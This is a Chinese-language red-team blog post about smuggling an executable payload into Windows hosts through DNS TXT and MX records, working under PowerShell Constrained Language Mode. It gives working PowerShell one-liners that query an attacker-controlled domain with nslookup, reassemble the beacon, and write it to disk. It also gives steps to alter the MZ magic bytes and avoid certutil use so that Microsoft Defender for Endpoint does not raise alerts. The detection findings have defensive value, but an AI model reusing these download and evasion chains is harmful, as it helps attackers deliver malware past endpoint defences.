受我近期参与的一个涉及 Cobalt Strike DNS 信标的工作启发,结合尝试绕过 Microsoft Defender for Endpoint 的任务目标,我花了一些时间研究如何利用 DNS 将载荷传输到目标机器。我还进一步挑战自己,尝试在 PowerShell 处于受限语言模式时也能实现这一目标。这项研究主要针对较新的 Windows 版本(例如 Windows 10+、Server 2019+),但正如你稍后所见,较低版本也可能实现。
DNS 隧道是一项历史悠久的技术,被多种攻击者使用。简单来说,它利用 DNS 协议作为数据渗透/反渗透的手段或作为 C2 通信通道。有许多博客文章可供参考,以获取更多关于此主题的信息。
由于这是一项古老且广为人知的技术,许多组织已经部署了检测方法来试图阻止它。
DNS 隧道历史上首选的 DNS 记录类型是 TXT。这是因为 TXT 记录可以比其他记录存储更多数据,并且它们区分大小写,而其他记录则不然,这在我们开始讨论编码时会产生影响。
受限语言模式是 PowerShell 的一种限制性语言模式,大大降低了 PowerShell 的功能和允许的操作。简而言之,.NET、COM 对象以及攻击者常用的如 (new-object net.webclient).downloadstring 等都无法使用。此链接 提供了更多信息。组织会将其作为攻击面缩减规则的一部分,对普通用户强制执行此策略。这实际上使得我们作为攻击者的工作更加困难。
大多数人对 DNS 应该至少有所了解,比如使用 Nslookup 等工具。但基本而言,客户端发送查询,DNS 服务器返回该查询的答案。DNS 记录有多种类型:CNAME、A、AAAA、TXT、MX 和 NS 等等。每条记录可以存储和返回不同的信息。这些记录在区域文件中配置,由 DNS 服务器提供服务。
此处提供了一个示例区域文件 链接:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.
如果查询example.com的NS记录,查询结果会返回ns1.p30.dynect.net、ns2.p30.dynect.net、ns3.p30.dynect.net和ns4.p30.dynect.net。
# 研究
## 域名注册
在开始之前,我们需要简要讨论如何设置DNS记录,使其指向我们控制并运行DNS服务器的IP。如下所示,我购买了一个域名,并设置了DNS记录,将子域名“dns”指向子域名“ns1”,而“ns1”被分配了服务器的公网IP。

这意味着所有针对“dns.edu....com”的查询都会被定向到“ns1.edu....com”,而后者被分配了IP 3..86。我们将在此IP上设置DNS服务器来提供我们的记录。稍后还会用到这一点。
## 寻找客户端工具
我的探索始于一次简单的谷歌搜索“powershell dns module”,结果返回了[这个](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps)链接。其中特别令人感兴趣的是Resolve-DnsName命令。它看起来基本上是众所周知的Nslookup.exe二进制文件的PowerShell实现。注意,可以请求特定类型的记录:

好的,我们有了一个能够进行DNS查询并返回答案的PowerShell模块。它能在受限语言模式(CLM)下工作吗?答案是有点复杂。
如下所示,如果我打开一个新的PowerShell窗口,运行Resolve-DnsName,然后将PowerShell置于CLM模式(并通过简单的::WriteLine调用测试),再运行Resolve-DnsName,它会正常工作:

但是,如果我打开一个新的PowerShell窗口,立即将其置于CLM模式,然后尝试运行Resolve-DnsName,它就会失败:

似乎如果一个模块之前已经加载过,在CLM强制生效后它仍然能够运行,但CLM会阻止尚未加载的模块加载。考虑到目标环境中CLM默认对用户强制启用(并且不知道DnsClient是否已被预加载或属于其中之一),我决定此时放弃Resolve-DnsName,转而使用老牌的Nslookup.exe。

Nslookup.exe是IT工具包中的主力,是用于合法目的的众所周知二进制文件。即使在担心应用程序白名单的环境中,它被允许执行的可能性也很大。
Nslookup会返回与Resolve-DnsName查询类似的信息,只是到时候我们需要稍微不同地处理它。
## 将可执行文件转换为DNS记录?
好的,我们有了在受害者计算机上进行DNS查询的方法。那么,如何将我们的有效载荷以Nslookup可以检索的格式提供呢?
可执行文件当然是二进制文件,这意味着它们不可读。因此,必须将数据转换为可以放入DNS记录且Nslookup等工具可以恢复的格式。我们有很多编码选项,但主要考虑因素是:受害者机器能否仅使用本机Windows工具和在CLM中可用的功能进行解码?Base64是显而易见的常用答案。
使用Base64,我们将可执行文件转换为一个巨大的可读字符串,然后可以将其拆分成多个DNS记录,并使用Nslookup恢复。在客户端,可以使用著名的LOLBAS certutil.exe将聚合的DNS记录从Base64解码回二进制格式。
这就需要我们更多地讨论DNS记录类型。每种记录类型以特定格式存储特定信息。例如,A记录存储并返回IPV4地址(111.111.111.111)。AAAA记录返回IPV6地址,MX和NS记录返回域名,而TXT记录可以返回255个字符长的字符串。如前所述,由于记录长度和大小写敏感性,TXT记录一直是攻击者的明显选择,因为需要的记录数量更少,并且与Base64等编码兼容。
让我们看看这是什么样子。
在我们的Kali虚拟机上,我们可以对可执行文件进行Base64编码。注意使用-w 0开关,这将删除所有换行符,从而留下一行Base64文本:

查看文件可以看到Base64:

我们现在需要将这个Base64编码的文件转换为由DNS服务器服务的DNS TXT记录。
在这个过程中我学到了几件事,在继续之前快速总结一下:
**1.** 当单个DNS查询返回多个记录时,无法保证它们会按“顺序”返回。这对我们的目的至关重要,因为我们需要从所有TXT记录中重新组合一个文件,如果顺序乱了,就无法工作。
**2.** 重复记录不会在查询中返回。例如,在我们的区域文件中如果有3个TXT记录,其中2个包含相同的信息,那么当我们查询该域名的TXT记录时,只会返回2个记录,因为只有唯一的记录会被返回。即使不考虑顺序问题,如果我们有例如大段的“AAAAA”(就像我们在Base64编码的有效载荷中那样),需要填充多个TXT记录,那么当我们查询域名的TXT记录时,即使区域文件中有多个“A”填满的TXT记录,也只会返回一个。
考虑到这些点,我们必须确保每个DNS查询只返回一个TXT记录。于是引入子域名。就像我们将“dns.edu...com”注册为“edu....com”的子域名一样,我们可以为更进一步的子域名(例如1.dns.edu....com)提供记录。我们可以根据需要创建任意多的子域名来提供所有TXT记录。
让我们看看我们的Base64编码有效载荷:

如前所述,每个TXT记录可以容纳255个字符。将413,696除以255,四舍五入后得到1,623。这是大量的TXT记录(相应地也是大量的子域名)。但这是一个起点。
我写了一个Python3脚本来读取Base64编码的有效载荷并创建区域文件:

该脚本将打开我们的Base64编码有效载荷(comp.txt),并使用“chunkstring”函数(来自Stack Overflow的一篇帖子)将文件分割成255个字符的块,然后用这些块创建TXT记录。注意,这里的IP是伪造/随机的,并不必要。
查看生成的区域文件,我们可以看到我们的TXT记录:

注意每个TXT记录最左边的数字;这表示子域名。
创建好区域文件后,我们需要将其复制到DNS服务器并服务之。我使用了[CoreDNS](https://github.com/coredns/coredns)来实现:

这表明我正在端口53上接受对dns.edu....com的查询。在Corefile中,我指定了上一步创建的区域文件来提供记录。为了测试记录是否有效,我们将对1.dns.edu....com的TXT记录运行nslookup:

得到我们的TXT记录!
## 攻击!
我们现在需要运行nslookup……1623次。这不太理想,但暂时我们只能这么做。我们将使用以下PowerShell单行脚本为每个子域名运行nslookup,然后只选择TXT记录($temp[5]),并逐步构建$results。最后$results被写入./temp.txt,再使用certutil将temp.txt解码为custombeacon.exe。```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe
执行我们的命令后,我们在 CoreDNS 服务器上看到了所有 DNS 请求:

而在客户端上,我们看到 Certutil 命令执行成功:

我们的输出长度与原始 EXE 文件匹配(并且它成功运行)——太棒了!

然而我们遇到了一个问题。让我们查看评估实验室机器的 MDE 仪表板:

这里有 5 个警报需要我们处理(忽略最顶部的两个“可疑使用 certutil.exe 解码可执行文件”,因为这是测试期间两次运行同一攻击链产生的重复项)。
1. 可疑系统网络配置发现——这与使用 'Resolve-DnsName' cmdlet 有关(该测试在出于其他原因切换到 Nslookup 之前运行)

2. DNS 攻击工具或活动——这与使用 TXT 记录渗透我们的数据有关

3. / 4. / 5. - 可疑使用 certutil.exe 解码可执行文件 / 使用离地二进制文件运行恶意代码

我们打算忽略这个警报,因为我们将切换到 Nslookup。我们将看看它是否仍然是个问题。我不确定,但我怀疑这种警报可能会被很多组织忽略,因为它的优先级低且看起来非常容易触发。
这个警报再次与使用 TXT 记录隐藏我们的 payload 有关;这并不太令人惊讶,因为 TXT 记录长期以来一直是这类活动的首选,原因充分。解决方案似乎是尝试使用其他记录类型,我们将在下一个警报中一起探索。
同样不太令人惊讶的是,certutil 在解码我们的 payload 时被标记;这是一个经典技巧,任何像样的组织都应该对其发出警报。但警报的针对性很有趣;它特别指出了它被用来解码一个可执行文件。这让我思考:如果我在 Base64 编码之前修改 payload 的魔数,然后在客户端使用 certutil 解码后再次修改,会发生什么。我这里不展示细节,但这种方法确实绕过了这个警报,我能够使用 certutil 解码 Base64 payload,然后使用原生 PowerShell 功能将魔数改回 MZ,使 payload 可执行。
我决定尝试使用 MX 记录而不是 TXT 记录来隐藏 payload。这篇博客文章指出,有效 DNS 名称的最大长度是 255 个字符。``` (63 letters).(63 letters).(63 letters).(62 letters)
由于 MX 记录返回一个域名,我应该在每个八位组中塞入相当多的数据。经过一些测试,我决定稍微缩短每条记录,每个八位组只放 50 个字符,每个 MX 记录总共 200 个字符。
然而,存在一个问题。对于 DNS 记录,只有 TXT 和 SPF(一种 TXT 记录类型)记录是区分大小写的。我们的编码语言 Base64 是区分大小写的。我花了几个小时排查这个问题,直到弄清楚,但归根结底,如果我们打算使用 Base64,就不能使用 MX 记录,因为 Nslookup 总是以小写字母返回记录,这会破坏我们的编码。
我们被迫要么寻找另一种区分大小写且与 Base64 兼容的记录类型,要么必须找到一种不同的编码语言,使得 CLM 中的 Windows/PowerShell 能够原生解码。
经过一些[研究](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin)后,我发现 PowerShell 无需使用 .NET 就能将十六进制转换为二进制:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw
# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)
对上述代码稍作修改(将 [System.IO.File]... 改为 $bytes | set-content....),即可满足我们的需求。
MX 记录还有一个“优先级”值;这本质上是对域应使用哪台 MX 服务器进行优先级排序。在之前的区域文件示例中,可以看到 MX 记录域名前有 “10 20 和 30” 等数值。我们可以利用这个优先级值,为每个子域包含多条 MX 记录,并通过按优先级值排序来确保数据顺序正确。这将大幅减少调用 Nslookup 的次数,相比之前为每个子域获取单条 TXT 记录的方式更为高效。

如上所示,记录可能返回时顺序错乱,但利用优先级值我们可以重新排序。
为了实现这一方案,我首先编写了一个小型 Python3 脚本,将载荷转换为十六进制:


随后我修改了原始 Python3 脚本,创建包含 MX 记录而非 TXT 记录的区域文件:

主要区别在于:现在每次分块 200 个字符,并且每个子域分配 100 条 MX 记录;这通过变量 j 进行跟踪,其中 MX 记录中的 j 即为优先级值。第一条记录从 10 开始,每次递增 10,一直增加到 1000。当 j 达到 1010 时,重置为 10,同时 i 递增 1,其中 i 变量是每条 MX 记录中指定的子域。
该脚本生成如下所示的区域文件(显示区域文件末尾):

这里展示了两个子域(31.dns.edu....com 和 32.dns.edu....com)以及各自的若干条记录。记录可通过每个 MX 后的优先级值区分(31.dns.edu....com:960, 970, 980, 990, 1000;32.dns.edu....com:10, 20, 30)。
我们需要对 PowerShell 命令进行大幅修改以适应新格式。我在 PowerShell ISE 中展示了脚本并添加了注释,以便更好地解释每一步的操作,但本质上我们将执行以下步骤:
-1. 对于每个子域
--A 运行 Nslookup
--B 对于 Nslookup 返回的每条 MX 记录
---a. 仅提取我们的数据,并按 MX 优先级值排序后存入数组
--C 将每个数据字符串追加到累积的 $results 字符串中

然后我们需要将 $results 中的十六进制转换回二进制,再写入磁盘。这时我们将用到前面展示的 PowerShell 代码。
压缩成一行后得到以下内容:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe
## 再来一次
让我们在MDE实验室测试机上运行PowerShell命令,看看会发生什么(我们处于CLM中,只是未显示):

执行我们的信标(后端发生了更多魔法操作,使用了DNS信标)

我们确实收到一条关于“SuspiciousFileDrop”行为的警报,但最终解决为“未发现威胁”……有待进一步探索。但所有涉及TXT记录或Certutil解码可执行文件的警报都已消失。

## 只需左移一步……
MDE不喜欢PowerShell将我们的载荷写入磁盘。这可以理解;归根结底,Nslookup从互联网上拉取了未知的可执行文件并保存到磁盘。我们该如何缓解这一问题?
我决定重新审视载荷的魔数。我的工作理论是,如果将载荷的魔数更改为例如.txt文件的魔数,并将其写入磁盘,然后将该文件读取到新变量中,再将魔数改回MZ(可执行文件),最后将其写回磁盘,那么MDE可能会被欺骗,因为导致功能可执行文件落地磁盘的I/O操作源自一个已存在于磁盘上的.txt文件,而不是从互联网上拉取的数据。
让我们试试看。
我们可以在攻击机上使用VIM打开可执行文件。注意前两个字节中的MZ头,它表明这是一个可执行文件:

通过输入:%!xxd,我们可以以十六进制格式编辑文件:

并将前两个字节改为FF FE(UTF-16LE字节顺序标记,常见于文本文件中,参见https://en.wikipedia.org/wiki/List_of_file_signatures):

现在必须通过输入:%!xxd -r关闭十六进制编辑器,这将显示我们的魔数确实已被替换:

然后我们可以写入并退出VIM。
我们将再次将载荷转换为十六进制,然后使用python3脚本将修改后的载荷放入MX记录中,这些记录可以在我们的DNS服务器上提供。
在客户端,我们需要修改PowerShell命令以修复魔数,使可执行文件恢复正常。如前所述,为了逃避MDE的SuspiciousFileDrop警报,我们将首先将“txt”文件写入磁盘,然后使用get-content将其读回内存。相关修改和补充到我们的PowerShell命令中的内容是:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte
在此命令中,我们首先将下载的有效载荷(带有 .txt 魔数字节)写入磁盘为 out.txt,然后将其读入字节数组 $readfile,之后将前两个字节分别设置为 0x4D 和 0x5A,从而恢复有效载荷的 MZ 头部。接着,将 $readfile 通过管道传递给 set-content,将功能完整的有效载荷作为 new.exe 写入磁盘。
在我们的 MDE 虚拟机中试一下(注意命令看起来有点不同,这将在下一节中说明):

在仪表板上呢?

成功!
我们已成功通过 DNS 请求和在受限语言模式下可用的 PowerShell 命令,将有效载荷下载并恢复为功能格式。MDE 没有发出任何警报,但 MDE 实际上看到了什么?答案是:一切。
让我们看看测试机器的事件时间线,筛选涉及 PowerShell 的事件:

在此图中,我们看到 PowerShell 调用的几个 nslookup.exe 调用,每个都触发了 "T1016: 系统网络配置发现" 事件。此外,我们看到 "powershell.exe dropped a packed file new.exe",这指的是我们的可执行文件在魔数字节被修改后写回磁盘。这触发了几个事件 ID,其中值得注意的是 "T1027.002: 软件打包"。
通过筛选这些事件,我们或许能看出每个事件有多常见,以及我们的操作有多大概率与计算机上的正常操作噪声融为一体。
查看 T1016:

我们看到所有 nslookup 调用,但也看到其他进程生成的事件,例如 WaAppAgent.exe 和 WindowsAzureGuestAgent.exe。这些进程又运行了 ipconfig.exe 和 arp.exe 等。因此,多个不同的可执行文件都可以触发 T1016: 系统网络配置发现,这对我们试图保持低调来说是有利的。
查看 T1027:

这里的情况不太乐观。T1027.002: 文件打包的唯一事件是我们的 powershell.exe 将有效载荷写入磁盘。我不完全确定为什么这个事件会因我们的操作而触发,但我不认为这与 DNS 渗透方法有关,而更多是与将可执行文件写入磁盘有关。无论如何,这并没有产生实际的警报,只是一个记录在案的事件。
有多少记录在案的事件?正常计算机功能被归类得有多好?答案是“很多”和“不太充分”。在滚动查找 PowerShell 事件时,我遇到了这个:

这看起来确实可疑……发生了什么?

哦。只是 Windows Defender ATP 在运行 PowerShell 命令。
MDE 记录的事件数量令人难以置信。只要我们不触发实际的警报,我不太担心我们的记录操作会在主动调查中被发现,除非我们给防御者提供查找的理由。
我们有了一个可行的概念验证,但现在是时候完善产品了。我有三个主要目标:
自动化
可靠性
效率
我首先将两个 Python 脚本合并:一个将可执行文件转换为十六进制,另一个创建区域文件。接着,我遍历并移除了所有将填充区域文件的域名的静态引用;这些现在通过命令行参数传入。第三,我添加了创建有效载荷副本并修改魔数字节的功能;这个修改后的副本被转换为区域文件中的 MX 记录,从而消除了对 VIM 的需求。最后,Python 脚本输出 PowerShell 单行命令,其中包含正确的 nslookup 迭代次数(取决于有效载荷长度)和运行 nslookup 的域名。这个 Python 脚本已作为 "createzonefile.py" 上传。

为了提高攻击的可靠性,我花了一些时间研究 Python 脚本如何创建 MX 记录。主要问题在于最后一条 MX 记录;它包含剩余的有效载荷,因为其他每条记录都填充了 200 个字符。根据这条记录剩余的数据量,我们可能最终得到一个、两个、三个或四个部分或完全填充的八位组。我发现如果后面有太多点号 ".",nslookup 将不会拉取记录,就像我们之前简单 Python 脚本中最后一条 MX 记录使用少于四个八位组时的情况(例如,记录可能是 "0000000000000000000000.000000..")。我们实现并测试了新逻辑,以确保无论有效载荷大小或最后一条 MX 记录中的数据量如何,它都能正确格式化并按预期运行。
在 Python 脚本中实现 PowerShell 单行命令是提高可靠性的又一步,因为它确保你获得正确的 nslookup 迭代次数以及在区域文件中指定的相同域名。
最后一点主要围绕 PowerShell 单行命令。我希望尽可能缩短命令长度,以防需要在目标机器上手动输入。在加入替换魔数字节的脚本之前,我已经将其缩短了大约 30%。
这些节省来自几个方面:

我相信还可以做更多,但我远非 PowerShell 高手。
最终的改进版 PowerShell 单行命令,用于恢复 MZ 魔数字节并删除临时 .txt 文件,如下所示:```powershell $o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<==\s)((\d|\w){1,50}.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f
# 结束语
在高度受限的环境中,使用DNS来渗透有效载荷可能是一个有吸引力的选项,因为涉及HTTP/S或更常规方法的正常方式可能不可行。在这样的环境中,下一个障碍很可能是实际执行你的有效载荷——绕过应用白名单是我未来可能会花时间深入探讨的一个主题。
感谢那些一直陪伴我到最后的读者们。在探索和开发这个话题的几天里,我确实很忙碌,也学到了一些东西,希望你们也是如此。